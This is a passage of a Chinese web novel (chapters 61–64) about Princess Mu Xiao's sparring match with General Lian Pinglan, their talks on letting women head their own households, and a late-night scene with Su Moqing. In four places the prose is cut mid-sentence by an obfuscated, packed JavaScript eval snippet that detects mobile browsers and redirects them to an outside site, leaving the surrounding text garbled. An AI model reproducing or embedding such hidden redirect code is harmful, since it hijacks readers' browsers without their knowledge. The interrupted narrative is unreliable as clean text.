“而且这打法也太伤了。若是换刚才那种攻擂守擂，根本经不住几场。”刘章毅看到长刀再次撞了上去，忍不住抬手去捂自己的右手腕，叹息一声，“对手是发力不适，但她自己的骨节这个角度撞击受力不难受么？” “没人给她改改？这基础和闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986755|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲意识都相当好，换种方式未必不行。” “哪有时间让她慢慢改。”苏墨清冷冷回道，“你们刘家做的都是些什么事，你装不知道么？” “小声点。公私分明，公私分明……你们也没手下留情。”刘章毅压低声音回敬，“玄岳关那事确实过火。你们登闻鼓一敲，我们不是也没拦么？剩下的哪件不是有来有回？你们手里就干净了？” 几句话之间，擂台上的局势突然紧张起来。 “嘶……这两人怎么突然开始动真格了？不是不伤对方么？冲着要害就去了，真的不会出事么？别在我这里……”刘章毅见两人距离骤然拉近，出手速度更快了，问道，“这真的没问题么？” “如果对面是你，还需要担心一下。”苏墨清带着讽刺意味答道。 “过奖过奖……你这是什么语气。”刘章毅气笑了，“这么和前辈说话？” “连将军在收放自如这点，你比得上么？规则中，伤到人的那一方算输。规则……”苏墨清沉吟道。 刘章毅的注意力再次被擂台吸引，沉默片刻后开口：“打到这个地步，闪避几乎是本能。越是对着要害，越是习惯闪避。” “即使知道对方有能力停住刃口。” 怎么赢？牧晓脑海中只剩这一个问题。 她实在做不到不去闪避那凌厉的一招一式，没法靠近对方，也打不了太久的消耗战。 不躲闪，任对方的长枪停在要害处是输；躲闪，这样下去还是要输。 “铮——”银刃再次相撞，又不知多少次相撞。 她几乎能从雪白的锋芒里，看到自己那双因不愿认输而充斥着不甘、焦灼与执迷不悟的眼睛。 在这与自己对视的一瞬，她脑海深处有什么东西轰然炸开。 一种熟悉的疯狂与绝望涌上心头。 她忘了这到底是在何处，只记得，她要赢，赢的规则包含不能伤了对方。 下一瞬，她选择不顾一切地向着对面的银刃撞上去，而后将刀停在对方的脖颈处，全然不顾自己是否会真的撞上冰冷的枪尖。 双方的武器都堪堪停在对方咽喉处。 牧晓再次与连平澜那理智且平静的双眸对视，从中看到自己狼狈且疯狂的目光。 两人其实已打了太久太久。 她缓缓垂下手，将刀锋从对方面前移开，在原地略微垂下头，闭了闭眼。 再次睁眼，眸中那些让她自觉不堪的神色都消失了。 一半麻木，一半清明，她与对方相对深深一礼，抬头后粲然一笑：“连将军好枪法，规则确实对我有利。” “我甘拜下风。” “殿下当然没有输。我没有赢。”连平澜眸中神色复杂，倾佩欣赏与惊异思量都有。 她看到对方眸光一暗，就觉得有些不对，下意识向回抽枪，并闪躲。 令她惊讶的是，对方放弃了任何一丝躲闪，破釜沉舟般直直迎向刃锋。 而她自己，也没能躲开。 但不论眸中的神色怎样晃动摇摆，对方的刀还是稳稳停住。 连平澜看着对方的状态，觉得对方就算下一秒脱力倒在台上她都不会意外，伸手准备暗暗扶对方一把。 但牧晓垂下的手只抖了几息，而后生生攥定了。 下台时已神色如常。 周围在过程中聚拢的观战之人一片死寂后，高声喝彩起来。 “她一直靠这个赢？”刘章毅心中不寒而栗，抬手想摸向自己的脖颈，僵了一瞬后堪堪强迫自己放下手。 “如果没有之前的规则……” 但他也知道，哪有什么“如果”。 苏墨清垂眸，没有回答。 意料之中，情理之中，但每次看到都还是会生出一阵恐慌。 这次他才是靠在府门口，想质问对方“下次还准备活着回来么”的人。 下台后的牧晓，转向连平澜，略微歪头，笑靥如花：“连将军，等会找个方便说话的地方，是不是终于可以告诉我，你试这一圈，到底计划了什么？” 61.女子立户 “你们借我京卫教场还不算，现在又要借我京卫议事堂。”刘章毅道，“那你们议的事，总得许我旁听。这不为过吧？” 牧晓看向连平澜：“我这边无碍。连将军这边可算方便？” 连平澜的视线在心平气和、一言不发的苏墨清与显然更为急切想留在此处的刘章毅之间扫了一圈，摊手直言道：“我与三位都算得上无冤无仇，自然无碍。平日议事，也是这二人多有针锋相对。” “刚才见这二人都能短暂坐于一处交谈，想必断不会突然互相拔剑而起。” 牧晓听后忍不住弯了弯唇角。 苏墨清觉察到连平澜在缓和氛围，接道：“我与刘大人本也无冤无仇。只是刘大人先行拔剑，我不论选择任人宰割，还是一时按兵不动，让刘大人一人举剑，如何下得来台？因此只得拔剑相对，算是对刘大人的尊重。” 刘章毅坐正，向昭灵公主的方向略一点头，先行致歉，而后转回目光揶揄对面之人：“谁人有你这般好命，这些年就算有掣肘之人，也总能找到相护之人。比不上，真是比不上。” 苏墨清安然接受，与牧晓相视一笑，大有也想拿来几角碎银再打赏个刘家人的意思。 “刘大人身旁亦是人才济济，本身为官也尽职尽责。”牧晓转头笑着接道，“我在平良县与洛水桥附近多有领教，受益匪浅，还未曾有机会向刘大人致谢。刘大人所作所为，才实非常人所能及。” “实非常人所能及”中，“常人”二字咬得极重，在场几人皆忍俊不禁。 这大概是近期多行不义的报应吧。刘章毅听出对方的话中话，心中苦笑一声，但面上恭敬道：“谢殿下夸奖。” 堂中氛围一松，连平澜开口将话题扯回正道：“殿下刚才已见过那几位连家军中兵士。” “几位武艺不凡，心性坚韧，实在印象深刻。”牧晓神色带上欣赏之意，“这种擂台比武显然非这几位所长。这等招式，应当是在战场真刀真枪拼出的。” “正是。”连平澜敛容道，“其中有几位军户之女，家中父祖兄弟皆战死沙场或因病离世后，下定决心接过亲人遗志，投军守卫北疆；有几位本就是孤女流民，行至北疆受百姓与官府共同接济，得以存活，因而立志尽己所能护一方安和。” “但这几位皆遇到一个相同的问题。” “按现有规章，女子不得承继军户；无特殊情况，亦不得为户主单立民籍。” 牧晓垂眸想到许多身边女子，开口道：“我身边亦遇到这类问题。若不想成婚，便得寻可靠之处借挂。” “我明白连将军的难处。这种情况在连家军中算得上数量庞大，远比我身边几位的情况更加棘手。” “若是皆由连家庇护，不免有私蓄兵士的嫌疑；若是借府分散挂靠，更像在拉拢各方，且要受各方掣肘。” 连平澜长叹一声：“还有些女子并非不愿婚配，而是若寻婚配，必然要有一方多顾家庭。夫妇二人在驻守与家中轮换，则二人难以相见；同期驻守、同期回乡，家中必有无人顶梁之时。” “农闲农忙时节，本就有定数。何家农忙时可返乡，何家农闲时才返乡，实在难以决断。” “家中兄弟姐妹众多、相互帮衬，倒还能说得过去；但对于女子，又多了生育问题。” 连平澜与牧晓目光交汇，坦诚道：“我与已故夫婿在年轻时育有一女。不论夫婿如何体谅，如何尊重，如何帮衬，自身身体底子如何，生育本身带来的不便、痛苦与风险，都不可避免。” “当时我并非连家主事之人，手中权柄不稳，前后日子颇为艰辛，再回战场亦需要时间。” “有婚配的女兵士多要过这一关。” “若是不婚配，便又回到了刚才的户籍问题。” “婚配与否为自身选择。”牧晓思索道，“但这户籍问题，实际上对这种本是自身选择的事，加了一层不平，让许多本无意的女子，不得不选。” “连将军可是想与我联手，试试是否能改这制？” “正是。”连平澜沉声道，“我在北疆，尚能护住这些心怀赤诚且才华横溢的女子；但若是这规制不改，我能做的也仅仅是护这‘一时’，护不了一世，更护不了后世。” “而我自己，又何尝能决定自己的去处。” “若是真要遵旨调离，不论是谁接北疆实权，即使亦是位女子，即使与我等怀同样的志向，都难以避免一阵动荡摇摆。” “从我女扮男装进军营的第一日起，我便知这一路诸多变数坎坷，命不由我。” “但我手下女子何辜？”连平澜眸光一暗，“她们中的许多，皆因信我而来。既已坐到主位之上，我亦会为她们的命途奋力一搏。” 牧晓注视着连平澜，缓缓道：“这点我确与连将军同道。现下，若是你我有不测，这些惊才绝艳的女子，极易沦为昙花一现。这是你我不愿看到的。” “这第一步，让女子独立门户名正言顺，势在必行。” “不过，连将军在京时日，大概不会长。”牧晓话锋一转，悠悠道，“这担子可要直接落到我这边了。” “我确实有可供尝试的路子和办法。” “连将军，能提供什么助力？” 连平澜顿了顿，抬眸道：“立女户，一极大的难处在于赋税与兵役问题。” “兵役这边，殿下不好插手，但北疆有经验，亦有能力，可以承担。其中的人力、物力以及风险，自不必多言。” 牧晓轻笑一声，却也没有反驳，而是忽然换了个话题：“连将军觉得，刚才擂台上的擂主如何？” 连平澜眸光一闪，笑着答道：“刚才在高台之上，不是同殿下已夸奖一番了么？” “与这届武举中人相比，又如何？”牧晓挑眉问道。 此言一出，在场另外三人的目光骤然凝到她身上。 连平澜一时没有回答。 堂中气氛凝滞片刻，最终还是牧晓打破了僵局，摊手笑道：“不必紧张。我与春闱扯上关系，只因陛下特授天子剑，才代圣上巡视。至于我本人，从无插手之意，也从未无事生非过一分一毫。” “无事生非”四字与刚才“实非常人所能及”这几字语调相同，但这次，坐在对面的二人都没有笑。 “那与我毫不沾边的武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994777|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举，我自然也只想旁观，恭贺朝中又得人才。”牧晓看着对面二人不明的神色，笑容更灿烂了些，眸中却相当冰冷。 “不过，”她在停了几瞬后再度开口，“有连将军在北疆开武试的珠玉在前，才有我今冬西南武试顺利推进。” “应当面谢过连将军才是。” “不知前辈，可否有兴趣在京中，为众女子开一试？” “至于如何办到，就劳烦连将军深思。” “若是有意邀公主府中人也参与主试，那便是公主府中人的荣幸。” 牧晓拱手一礼：“谢连将军珠玉在前。就是不知连将军是否愿意在京中开这一试？” 连平澜亦笑道：“殿下谢都谢了，我也不能不接。这等善事，自然要试。” “只是这旨意不知能不能请下来。” 牧晓笑了笑，回道：“能从陛下手中借得京卫教场，还能邀我前来。连将军这道旨意都能请下，关于武试的那道，又何必我多费心思、画蛇添足？” “连将军不必自谦。” 说完，牧晓起身道：“聊了这么久，双方应该都休息够了。” “连将军还未履约与擂主比试。芒夏可是期待了许久。” “有劳连将军。” “我先出去看看她们的情况。” 另外二人转身向外，堂中留下连平澜与刘章毅，目送他们走出堂中。 刘章毅哼笑一声：“连将军第一次与这昭灵公主交锋，感觉如何？” “有些后悔。”连平澜平静道，“说多错多。不如直接打开天窗说亮话。” “至于台上比武……说实话，超出我的预期。我也终于明白为何你们不敢正面下手。” “为何？”刘章毅背手问道。 “自然是把人逼急了没好下场。”连平澜看了他一眼，继续道，“这个道理在你我之间也适用。” “最近那些言论，谁在背后推波助澜，本不难猜。” “都说了是推波助澜。”刘章毅将“助澜”二字咬重，贫了一句嘴。 见连平澜无动于衷，他咬了咬后槽牙，没来由地问了一句：“为什么他们都行，我们就不行。” “你现在调去北疆，我们再议。”连平澜语气毫无波动，“坐你对面那位不是暗示你了么？以彼之心，度己之腹。若是做不到，一切都是空谈。” “双方都能做到时，才能各退一步。” “认识这么多年，你当年提点他那句他听进去了；现在这投桃报李之言，你反倒装听不懂。” “这几年间冷眼旁观他们的事，高高在上地左一言右一语，想向我证明你当初的选择才是正确的；现在胜负强弱斗转，你又后悔了。” “自诩前辈说‘何必闹到那样惨烈地步’的是你，现在仗着年长几岁不听人言的也是你。” “刘大人，好自为之。” “我得去履行和燕统领的约定了。我可不想让她等太久。” “错过这次机会，还不知道会不会有下次。” “刘大人自便。” 说罢，连平澜抬手示意他无需辩驳，大步走出议事堂。 62.混沌清醒 夜已三更，书房依旧亮着烛火。 牧晓背对着半开的窗，跪坐在地面上，望着面前铺了一地的宣纸出神。 每张纸都已写满，纸上的字迹并不如平日里那样连贯流畅，字的大小、间隔与行笔方式都不太寻常。执笔人不像在认真写字，倒像在通过这些变化，记述当时的情绪。 愣了半晌，她想提笔再写，却发现执笔的手依然在颤抖。 她定定地盯着执笔的手，用另一只手去攥那不稳的手腕，却试到了自己仍在跳动的脉搏。那只扶在腕上的手如同被烫到般快速缩回，撤到身侧自行攥紧。 被烫到的刹那间，她的思绪从那种宁静的麻木中挣脱出来，听到另一个人进门的脚步声。 她还没来得及放下笔、站起身，就感受到那个人在她右侧，也和她一样跪了下来，伸手轻握住她那只仍在提着笔颤抖的手，在她耳边低声问：“想写什么？” 牧晓一时没有回答，闭了闭眼，再睁眼时感觉周围的环境一下子清晰起来，连烛火都亮了几分。 “不写了。”她放下笔轻叹一声，“其实哪有什么好写的。写来写去，不过是想给今日擂台上一时没收住的情绪寻个因果缘由，或是给要做的事理个思路。” “倒是你，怎么半夜在院里闲逛？我睡不着没去找你是因为……”她顿了顿，没往下说。 “因为觉得我看到擂台上的事，绝对不会高兴，而你的状态并不算好，说不定会说出些言不由衷的话，对么？”苏墨清反手与她那只颤抖的手十指相扣，接道。 “既然明白，怎么还进来？”牧晓问完，突然泄了气，往他那边靠了靠，直言道，“不用担心。我什么事都没有，除了写写东西，也没准备做什么。” “从在桌上一张一张写，变成跪在窗边地上写，还想做什么？”苏墨清语气里没有责备，只是平静地叙述，“今日每句听到的话、看到的场景，都被你拆透了。” “连平澜看似宽和，实际上惯会在谈话中暗暗压着对方的痛处来。你不是意识到了么？没被她绕进去，让她不得不在京中多留些时日，无法坐享渔翁之利的同时，成为你的助力。还有什么需要苛责自己的地方？” 牧晓沉默片刻，轻笑了一声：“就是因为意识到了，处理完了，却发现自己还是没能彻底挣脱出来。” “知道不该被她影响，但是，”她看了看满屋子写满字的纸，无奈道，“好像还是无能为力。” “所以也只好允许自己在她的话中泡一晚上。” “放心。第二天就好了。” 苏墨清沉默片刻，问道：“可以告诉我现在理出来了什么？还是允许我收了这些纸自己看？” “看就不必了。我写得不清不楚的，有时根本就是在发泄情绪。”牧晓顿了顿，从头开始顺道，“连平澜一开始就想向我表明，她和我是同道中人。” “从某些角度上看，这点确实不错。同在朝中，相同的性别本身就会带来相似的困境。” “但你提醒我，你们向来政见不合——事实上也确实如此。除了同为女子的身份，我与她走的路并不相同，或许终有一日会站到对立面上。” “不论心里作何感想，我都必须与我皇兄一致对外，助他在与地方势力的博弈中，将主要权力牢牢聚到手里，死死扼住地方那些势力的咽喉。” “连平澜完全不在意我对连家军的关注。因为她清楚，不论我在西南怎样招募人手、怎样插手政与财，兵权是宫中和朝中既定的底线。” “所以，还是不论我心中作何感想，同刘家一定要继续斗下去，完全没有讲和这条路。” 牧晓想起洛水桥下那个身份特殊的孩童，嗤笑一声：“接了对方的示好，才会是灭顶之灾的开始。” “关乎朝中事，与刘家一定要维持住这份剑拔弩张；但看你们的状态就知道，大家其实都心知肚明，所以尽量不把情绪带到私下交谈中。各取所需而已。” “对立也是种互利。把任何一方完全打垮，并不代表自己这方就能发展壮大。” “比如，刘家这边辞官的刘尚书、直接被我砍了的邢承远，不是因为他们的罪证有多充分，而恰恰是因为他们牢牢占据上风，破坏了这种平衡。” “流水不腐，户枢不蠹。” “没有这种有来有回的平衡存在，无人制挟的他们才会在一家独大中成为必须被除掉的腐水、蛀虫。” 牧晓梳理到此处，心中反倒平静下来，自嘲地笑笑：“用兵权死死卡住我，让我提心吊胆惶惶不可终日，只能无条件接下宫里派来的一切任务，向宫中不断证明自己的价值，是一种方式。” “我一开始就在想，连平澜为什么不断鼓动我亲自下场，我在擂台上那种被逼到绝路的熟悉感觉，到底熟悉在何处。” “单论练武，其实没人对我有什么实质上的要求。对我来说，在高手面前不被杀掉就足够了。当年陪我对练的人也都清楚这一点。所以在这方面，根本没人会想像连平澜那样逼我一把。” “既然场景不熟悉，那熟悉的大概是状态。” “她发现自己在谈话中无法占据上风，就选择用自己最擅长之处，向我展示力量，试图在接下来的谈话中占据主动。” “输赢根本不重要，能在实际力量上压制住我、拖得久些才重要。” “只要有了那一战，她根本不必在后续议事中提及她手里有兵这件事。” 牧晓推敲下来，觉得这策略实在有趣：“只展示一个方面的不凡实力，就能让对手下意识忽略她其他方面的弱势，不再质疑她在其他方面的力量……” “进议事堂后，用我不知道的事和缓气氛，让我下意识觉得自己不知道的事还有很多。” “而后，在叙述中轻轻摆点前辈的架子，不提自己能出什么力，单单引导我去踩核心问题，最后我们共同的问题，就成了我一方需要解决接手的问题。” “但关键在于，这件事我本来就要做。” “没有连平澜，我也一样能做。” “若是负责兵役这块，朝中强加给她，她根本没有办法。” “所以她说她可以担这份责，实际上是把她本就一定要负责的部分，顺手包装成她另出的部分，名利双收。” “但她若是真有那样强的力量，为何不自己推进这件事，反而绕这几圈来找我？”牧晓说到此处笑了笑，“情谊、利益、志向等等，说得越多，她越不像个合作者，倒像只想做个引导者。” “还是个自相矛盾的引导者。” “能负责处理兵役这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997670|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块，暗含地条件就是，我要助她留在北疆。这与她口中所言，因‘不能确定自己是否能留在北疆，而决定同我合作推进这件事’的初衷不符。” “就像我之前提到刘家时所言：怎么什么好事都让他们占了。” 牧晓闷声笑了几下：“她不愧是刘家多年以来的盟友。” “平良县令向我展示爱民之心，连平澜向我展示对女子命途的关怀。” “我倒不是觉得这二者不真实——相反，这两点我倒是信。” “但既然想拿这两点展示他们其实与我同道，那就先别管过去做过什么，先试着做好一件与之相关的事，把这点落实再说。” 感觉她心中还是压着什么，苏墨清接着问：“这些很难让你纠结这么长时间。刚才你出神时，又想到了什么？” 牧晓僵了一瞬，沉默片刻后深吸一口气，反问了个看似不相干的问题：“你觉得我母亲是个怎样的人？” 意识到这个问题对方不好回答，她叹息道：“算了。不用想了。随口一问，不是想为难你。” “我刚才出神，是因为我突然意识到，我当年似乎见过眼前这副场景。” “在我母亲的书房里。” “连平澜早年曾在宫中见过我母亲，也遥遥见过我。” “她提到这点，或许只是想勾起我的回忆，拉近距离；又或许是为了暗示我现在身边能用之人，最初多不是因我而聚在我身边，是我母亲帮我挑选好的，诱导我觉得自己应该做点属于我的事。” “这些都不重要。” “当我意识到我见过眼前这场景时，也意识到，为什么连平澜下意识觉得女子立户的问题，应该由我来解决。” “——她最初向往的、为之赴命的新朝，为何会是现在这般模样。” 牧晓说出这句话时，感觉脑中那份宁静的麻木骤然散去，就像伸手抓住了一份转瞬即逝的清明。 “明明自诩是暮氏女帝的后人，明明捧起‘开明’二字才得登大位，为何，”她跪在满屋写满文字的宣纸前，清醒与迷茫交织，重复一遍，“为何女子连成为户主独自立户都做不到？” “为何承得还是前朝的制？那套在夺位时就被抨击为迂腐刻板的制。” “为何掌权的还是前朝旧臣？那些在前朝春闱武举特殊考题下选出的旧臣。” “间隔一个并不算太长的前朝，暮氏女帝的后人和书籍，为何如此难寻？” “议礼之争为何不会停？” “登基前宣扬的东西，真的都做到了吗？” “为何会是这般模样？为何还是这般模样？” “但这些都是大逆不道之言。”她笑了笑，好像在自言自语，“第二天，就要忘掉的。” “若是质疑这些，我自己的身份位置又算什么呢？我又在做什么呢？作为公主，为了自己活下去，不得不维护和利用这些；作为女子，想覆了这些，却难以做到。” “我到底算什么呢？” “我至少是一个要活下去的人。”手中的脉搏依然在跳动。 “还是那个道理，”牧晓自嘲般地笑笑，“我向我自己展示了一条道，那就先别管过去的事，先试着做好一件与之相关的事。” “能落实一点是一点。” 63.缱绻剖白 “既然没有什么不懂的道理，那还写什么呢？不过是我庸人自扰罢了。”牧晓叹了口气，“情绪这个东西，真是奇怪又令人难以捉摸。” “陷在其中时，感受不到周围的任何人和事；等从里面脱出来，就会像现在这般——我完全想不起来自己为何要大半夜跪在书房窗边写字。” 她拍了一下自己的额头，笑出声来：“上朝都不用跪这么久。要不我们两个还是先从地上起来吧？” 牧晓从地上自己站起来，中间踉跄一下，被身旁人伸手扶了一把。 站起来看看满屋子写满模糊字迹的纸，牧晓忍不住问身旁人：“你进来时就看到这幅场景？还能问得出‘想写什么’这几个字？” “我还能怎么办？”苏墨清想了想回道，“直接打断你的思绪，一声不吭抢了你的笔，把你从地上拉起来，让你睡不着也非要躺下……” “听起来不错。”牧晓转头看向他，“怎么没这么做？” “你不觉得听起来有点耳熟么？”苏墨清顿了顿，反问道。 牧晓在脑中过了一遍，灵光一闪，明白对方为什么换了种方式：“你是说你直接动手抢匕首那次？” “我当时擦着擦着对自己比划，不是想……”自己说出口，也觉得和跪窗边写字一样不太正常，失笑道，“算了，越描越黑。” “拔你的剑最后还自己哭着说你也欺负我。这种不知好歹的事，我现在大概是做不出来的。”她坦然地笑笑，“你现在就是直接动手或者放我自己在这里冷静一晚，也不会有什么问题，还省事。” “和旁人都能好好说话，对你不应该更加可以么？”苏墨清攥了一下仍与她十指相扣、一直没松开的手，看着她也笑了笑，“当时觉得什么事都能快刀斩乱麻。几年过去，总得有点长进。” “现在觉得，不是所有事都有捷径可走，也不是所有事都能走捷径。” “总不能处理别的问题时，能游刃有余摆出各种不同方法，择优而用；遇上关于你的事，就忘了这点。” “将心比心，这种不知好歹的事，我现在大概也做不出来。” 牧晓与他静静对视间，忽然笑了一声，贴得更近了些，另一只手臂搭上他的肩头，轻轻勾了一下他的脖子，问道：“这种时候不知道低一下头么？” 见对方缓缓弯腰低头，她将前额与他相贴几息后分开一点点。 而后再次慢慢贴近，气息暧昧交缠，她仰头吻了上去。 一吻不断加深，她感受到腰间的手臂越收越紧，脑中好像有一片绚丽的烟火炸开，整个魂魄都震颤，周围升起一层流动且迷离的薄雾，唯有对方眼中的缱绻爱意是那样的明亮，真实可感，点燃了她脑中的引线，让震颤的灵魂也跟着燃烧起来，在烟火下的流光溢彩间扑灵飞旋。 一吻结束，她与对方紧紧相拥片刻，试到对方将头埋到她的颈窝间，转了一下，在颈侧轻轻烙下一个滚烫的吻。 吻周围的皮肤升起一阵酥麻，让她整个人都颤了一下，雾蒙蒙的双眸一抖，忍不住再次仰了一下头。 苏墨清安抚性地轻轻拍了拍她的后背，抱得松了一点。 半晌，两人慢慢分开，牧晓稍稍退后一步，踩到了脚边的宣纸。 纸张在地面上发出“沙”的一声响，在寂静的黑夜中显得格外清晰。 半开的窗外除了月光，没有别的影。 但感受到窗外清风拂过，她还是有点不好意思地偏头，定了定心，视线在屋内转了一圈，轻声道：“要不还是将地上这些纸收一下吧。” “帮我一下。” “我们一起收。” 说完，她有点匆忙地蹲下身，窝成一团，听着依旧在咚咚直跳的心，手背在颈侧贴了贴，顿了一瞬，然后开始伸手一张一张捡身侧的纸，叠到一处。 “好。”苏墨清也定了定心，看到她向门口和窗口又各瞥了一眼，再次开口，“放心，周围没人。” “我进来的时候，遇上靠在门外廊柱后的燕统领。她大概是担心你，一直在听屋里的动静。” “看到我进来，她就走了。” “嗯？”牧晓整理宣纸的手一停，“她今天够累了。我很早就让她回去了。” 静默片刻，她想了想，无奈地笑了一声：“你们这一个个的，不是从门口和窗口闲逛路过，不时看一眼，就是悄无声息站门口听。” “弄得打断我和什么死罪一样，这么小心翼翼。” “何必呢？”她移了几步，将远处的宣纸拿到手中，又整成一摞，叹息道，“何必呢。” “这明明只是我自己的事。” “帮得了一次，下次呢？” 这是旧牧府教给她的道理。 “若是我在进京时问你这句话呢？是死是活，明明只是我自己的事。”苏墨清整理着另一侧的宣纸问她，“若是你府中人问你，护得了这次，下次呢？” “你会怎么答？” 牧晓将心比心思索片刻，低头刚要开口，听见声音又一次响起：“不知道怎么答，意识到这样问确实有些伤人，又想道歉，对么？” 手中宣纸的边缘被捏皱又松开，她想了很多种说辞，最后却将这口气松了下来，答道：“对。” “这间书房仍在旧牧府的范围里。其实进京后，你一时并不想在公主府中长留，且在这边情绪从来不太对劲……旧牧府已经物是人非，相比起现在的公主府已缩得相当小，但对你来说，就像一道挥之不去的旧影，影响不减反增，对么。” “对。”牧晓听到这句话，反而心中一阵畅快，笑了笑，“是不是很可笑。明明是我当年推说舍不得，要求在旧牧府基础上扩建公主府——宫里只要还想要颜面，就不可能光明正大查抄这里。” “结果，看来对我自己的影响更大些。”她自嘲道，“是我当年天真。做不到心如磐石，便是搬起石头砸自己的脚。” “你刚才问我，觉得你母亲是个怎样的人。是不是在疑她当年将手中明里暗里的东西都交给你，那样重视你、护着你，原来是将你视作承继者，在变向逼你承接她的志向，对么？” “……对。”牧晓低头承认，“我明明知道她没有对我提任何要求，但脑中还是这样疑过她，而后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002083|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为自己的这份猜疑感到羞愧，觉得自己与父兄原来没有什么不同——多疑到卑劣，真该去她墓前磕一路，跪一晚。但母亲大概会告诉我，君子论迹不论心，为什么要为自己的想法愧疚？即使那想法是对她的。” 苏墨清听到此处沉默了片刻后，继续道：“……你这几年状态不好时，从来不让燕统领在你身边，即使她从你儿时起就同你在一处。你觉得各人有各人要做的事，你的情绪不是她该负责的部分；而且她不可能一辈子陪着你。万一你真的相当依赖、相当习惯她的存在，到最后她还是要离开，你就会无法接受，对么？” “对。一点错都没有。”牧晓将手中的那摞宣纸整整齐齐摆到前一摞上，叹息道，“我近几年发现自己在这方面非但没有长进，反而在倒退。我现在根本接受不了任何一个身边人的离开，甚至不想扔掉任何一件旧物件——哪怕是想想都不行。” “我私心想将所有人都牢牢锁在我身边，但我又清楚这根本不对。” “比如芒夏，她已经陪了我很久，若是她想追寻任何一种生活方式，我都应该支持。但我从前几年就发现，我根本接受不了，连一点这样的可能都接受不了。我就像个溺水之人，在前几年一次又一次的绝境中，把一直离我最近、也一直未曾离开的她当成最后一根救命稻草，想死死抓住不放。” “但这不对。她明面上是我的下属，实际上是我的同伴，我也真心把她当成姐姐一样的存在。怎么能限制她有别的可能。” “还是论迹不论心。你实际上也没有去限制她。”苏墨清收完了那半边宣纸，起身将手中那一摞放到牧晓攒起的那摞上，又沉默了片刻后，再次开口，“就像我之前说的，亲人，同伴等等关系，都没法让你有片刻只属于我，所以我要改变之前的那种关系。” “你觉得你没有资格锁住她，所以选择改变自己，学会接受和放手。” “那我呢？” 牧晓拿着最后一摞宣纸，继续听身后之人说道：“我们从过往到当下，论身份，论资格，论位置，似乎什么都不少。” “我在很长一段时间里，觉得你实际上并不喜欢我——不是对伴侣的那种喜欢，只是旧习难改，只是习惯了看上什么东西就非要抢到手。” 牧晓听后没有什么特别的反应，站起来却没有转身，背对着他，低头看了看手里的那摞纸，问道：“我也考虑过这个问题。我之前就告诉过你我的答案了。” “那你当时怎么没走？明明对我们任何一边来说，结束掉这段关系都不是什么很费力的事。” “你现在又是怎么想的？” “选择继续是因为我真的移不开眼。我自然要为自己的心动负责。”苏墨清靠在案头凝视着她的背影，“至于现在的想法……我也为我对你的猜疑感到愧疚。” “我觉得我过去好像误解了什么。” “从一开始，若是真不喜欢，其实不必做到那个地步。” “你在恐惧什么？” “允许我私心揣度一下，如何？” 牧晓听到恐惧二字，反倒释然地笑了笑：“你说。” 64.捷径恐惧 苏墨清顿了顿，择了一个角度开始理顺：“我刚开始以为你只是反感‘嫁’这个字。” “毕竟按照民间俗语与普遍看法，这个字几乎代表与原本家庭脱离，不得不融入另一家，且受到来自并非血脉相连的长辈、亲族掣肘。三纲五常，礼法约束，世俗指摘……这本来就不是一条坦途。” “只是前朝将两家结亲的模式限定为这一种，世人不得不遵循。遵循久了，就在潜移默化汇总成为一种约定俗成。大家皆如此，便无人再去质疑，甚至忽视利益受损之人的苦楚。” “就算不谈利益二字，只看当年两府中的氛围与情形，比起牧府和公主府，延国公府本身就不是什么安定的好去处。” “公主府内，你是说一不二的主事人；但在延国公府内，要坐到掌家人的位置，在当时看来，似乎遥遥无期。” “你不想嫁这点，无可厚非。” “但你很快就发现，我根本不纠结这点，甚至有些跃跃欲试，对么？”牧晓转身一步步走到案前，放下纸，也靠到案头上，“因为我从来不怕斗。若是延国公府中和善安定些，我利用完后大概还会手下留情；有了上门那一闹，看见府内状况，还是愿意嫁，要么就是没脑子，要么就是根本不在乎，另有所图。” “因为之前就互相熟悉，还心照不宣做过点交易，你很容易就能觉察出不对。” “在明摆着对自己不利的事面前太过积极，也是一种破绽。” “虽然存在风险，但婚嫁确实是我收拢力量的捷径。” 